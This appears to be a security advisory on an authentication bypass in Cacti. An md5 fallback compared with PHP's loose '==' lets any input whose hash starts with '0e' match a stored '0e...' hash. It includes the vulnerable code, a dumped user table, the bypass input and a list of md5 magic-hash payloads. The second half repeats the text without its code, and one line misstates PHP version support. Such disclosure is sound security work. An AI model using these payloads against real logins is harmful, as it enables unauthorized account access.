Vulnerability Details
Authentication
Cacti calls compat_password_hash when users set their password.
/**
* compat_password_hash - if the secure function exists, hash using that.
* If that does not exist, hash older md5 function instead
*
* @param (string) $password - password to hash
* @param (string) $algo - algorithm to use (PASSWORD_DEFAULT)
*
* @return (bool) true if password hash matches, false otherwise
*/
function compat_password_hash($password, $algo, $options = array()) {
if (function_exists('password_hash')) {
// Check if options array has anything, only pass when required
return (cacti_sizeof($options) > 0) ?
password_hash($password, $algo, $options) :
password_hash($password, $algo);
}
return md5($password);
}
compat_password_hash use password_hash if there is it, else use md5.
When verifying password, it calls compat_password_verify.
/**
* compat_password_verify - if the secure function exists, verify against that
* first. If that checks fails or does not exist, check against older md5
* version
*
* @param (string) $password - password to verify
* @param (string) $hash - current password hash
*
* @return (bool) true if password hash matches, false otherwise
*/
function compat_password_verify($password, $hash) {
if (function_exists('password_verify')) {
if (password_verify($password, $hash)) {
return true;
}
}
$md5 = md5($password);
return ($md5 == $hash);
}
In compat_password_verify, password_verify is called if there is it, else use md5.
password_verify and password_hash are spported on PHP < 5.5.0, following PHP manual:
(PHP 5 >= 5.5.0, PHP 7, PHP 8)
password_hash — Creates a password hash
(PHP 5 >= 5.5.0, PHP 7, PHP 8)
password_verify — Verifies that a password matches a hash
So md5 is used for authentication in Cacti running on PHP < 5.5.0.
Type Juggling
The vulnerability is in compat_password_verify.
/**
* compat_password_verify - if the secure function exists, verify against that
* first. If that checks fails or does not exist, check against older md5
* version
*
* @param (string) $password - password to verify
* @param (string) $hash - current password hash
*
* @return (bool) true if password hash matches, false otherwise
*/
function compat_password_verify($password, $hash) {
if (function_exists('password_verify')) {
if (password_verify($password, $hash)) {
return true;
}
}
$md5 = md5($password);
return ($md5 == $hash);
}
Md5-hashed user input is compared with correct password in database by $md5 == $hash. It is a loose comparison, not ===. It is a type juggling vulnerability.
Proof of Concept
There are passwords of admin and guest in database, which are each md5("helloAXTKLSjy") and md5("RSnakehiQ1fICqo6LA"), and the both start with "0e", which PHP recognize as 0 when loosely comparing.
> select * from user_auth;
+----+----------+----------------------------------+-------+---------------+---------------+----------------------+-----------------+-----------+-----------+--------------+----------------+------------+---------------+--------------+--------------+------------------------+---------+------------+-----------+------------------+--------+-----------------+----------+-------------+
| id | username | password | realm | full_name | email_address | must_change_password | password_change | show_tree | show_list | show_preview | graph_settings | login_opts | policy_graphs | policy_trees | policy_hosts | policy_graph_templates | enabled | lastchange | lastlogin | password_history | locked | failed_attempts | lastfail | reset_perms |
+----+----------+----------------------------------+-------+---------------+---------------+----------------------+-----------------+-----------+-----------+--------------+----------------+------------+---------------+--------------+--------------+------------------------+---------+------------+-----------+------------------+--------+-----------------+----------+-------------+
| 1 | admin | 0e052539892259114859640052326948 | 0 | Administrator | | | on | on | on | on | on | 2 | 1 | 1 | 1 | 1 | on | -1 | -1 | -1 | | 0 | 0 | 65181430 |
| 3 | guest | 0e453499463434434754387288377524 | 0 | Guest Account | | | on | on | on | on | | 1 | 1 | 1 | 1 | 1 | on | -1 | -1 | -1 | | 0 | 0 | 1458272138 |
+----+----------+----------------------------------+-------+---------------+---------------+----------------------+-----------------+-----------+-----------+--------------+----------------+------------+---------------+--------------+--------------+------------------------+---------+------------+-----------+------------------+--------+-----------------+----------+-------------+
2 rows in set (0.000 sec)
Their correct passwords are "helloAXTKLSjy" and "RSnakehiQ1fICqo6LA", but authentication is bypassed by entering "240610708".
Some md5 magic hashes here:
240610708:0e462097431906509019562988736854
QLTHNDT:0e405967825401955372549139051580
QNKCDZO:0e830400451993494058024219903391
PJNPDWY:0e291529052894702774557631701704
NWWKITQ:0e763082070976038347657360817689
NOOPCJF:0e818888003657176127862245791911
MMHUWUV:0e701732711630150438129209816536
MAUXXQC:0e478478466848439040434801845361
IHKFRNS:0e256160682445802696926137988570
GZECLQZ:0e537612333747236407713628225676
GGHMVOE:0e362766013028313274586933780773
Vulnerability Details
Authentication
Cacti calls
compat_password_hashwhen users set their password.compat_password_hashusepassword_hashif there is it, else usemd5.When verifying password, it calls
compat_password_verify.In
compat_password_verify,password_verifyis called if there is it, else usemd5.password_verifyandpassword_hashare spported on PHP < 5.5.0, following PHP manual:So
md5is used for authentication in Cacti running on PHP < 5.5.0.Type Juggling
The vulnerability is in
compat_password_verify.Md5-hashed user input is compared with correct password in database by
$md5 == $hash. It is a loose comparison, not===. It is a type juggling vulnerability.Proof of Concept
There are passwords of admin and guest in database, which are each
md5("helloAXTKLSjy")andmd5("RSnakehiQ1fICqo6LA"), and the both start with "0e", which PHP recognize as 0 when loosely comparing.Their correct passwords are "helloAXTKLSjy" and "RSnakehiQ1fICqo6LA", but authentication is bypassed by entering "240610708".
Some md5 magic hashes here: